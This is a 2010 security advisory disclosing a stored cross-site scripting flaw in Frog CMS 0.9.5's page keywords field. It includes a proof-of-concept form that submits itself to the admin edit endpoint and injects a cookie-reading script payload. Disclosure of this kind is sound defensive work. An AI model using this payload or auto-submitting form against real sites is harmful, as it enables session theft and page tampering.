XSS vulnerability in Frog CMS

2010-11-28T00:00:00
ID SECURITYVULNS:DOC:25185
Type securityvulns
Reporter Securityvulns
Modified 2010-11-28T00:00:00

Description

Vulnerability ID: HTB22682 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_frog_cms.html Product: Frog CMS Vendor: Philippe Archambault ( http://www.madebyfrog.com/ ) Vulnerable Version: 0.9.5 and probably prior versions Vendor Notification: 09 November 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "frog/app/controllers/PageController.php" script to properly sanitize user-supplied input in "page[keywords]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/?/page/edit/PAGE_ID" method="post" name="main"> <input type="hidden" name="page[parent_id]" value="1"> <input type="hidden" name="page[title]" value="page title"> <input type="hidden" name="page[slug]" value="sef_url"> <input type="hidden" name="page[breadcrumb]" value="breadcrumbs"> <input type="hidden" name="page[keywords]" value='key"><script>alert(document.cookie)</script>'> <input type="hidden" name="page[description]" value=""> <input type="hidden" name="page_tag[tags]" value=""> <input type="hidden" name="page[created_on]" value="2010-10-25"> <input type="hidden" name="page[created_on_time]" value="23:28:03"> <input type="hidden" name="page[published_on]" value="2010-10-25"> <input type="hidden" name="page[published_on_time]" value="23:28:04"> <input type="hidden" name="part[0][name]" value="body"> <input type="hidden" name="part[0][id]" value="7"> <input type="hidden" name="part[0][filter_id]" value="markdown"> <input type="hidden" name="part[0][content]" value="page content"> <input type="hidden" name="page[layout_id]" value=""> <input type="hidden" name="page[behavior_id]" value=""> <input type="hidden" name="page[status_id]" value="100"> <input type="hidden" name="page[needs_login]" value="2"> <input type="hidden" name="commit" value="Save and Close"> </form> <script> document.main.submit(); </script>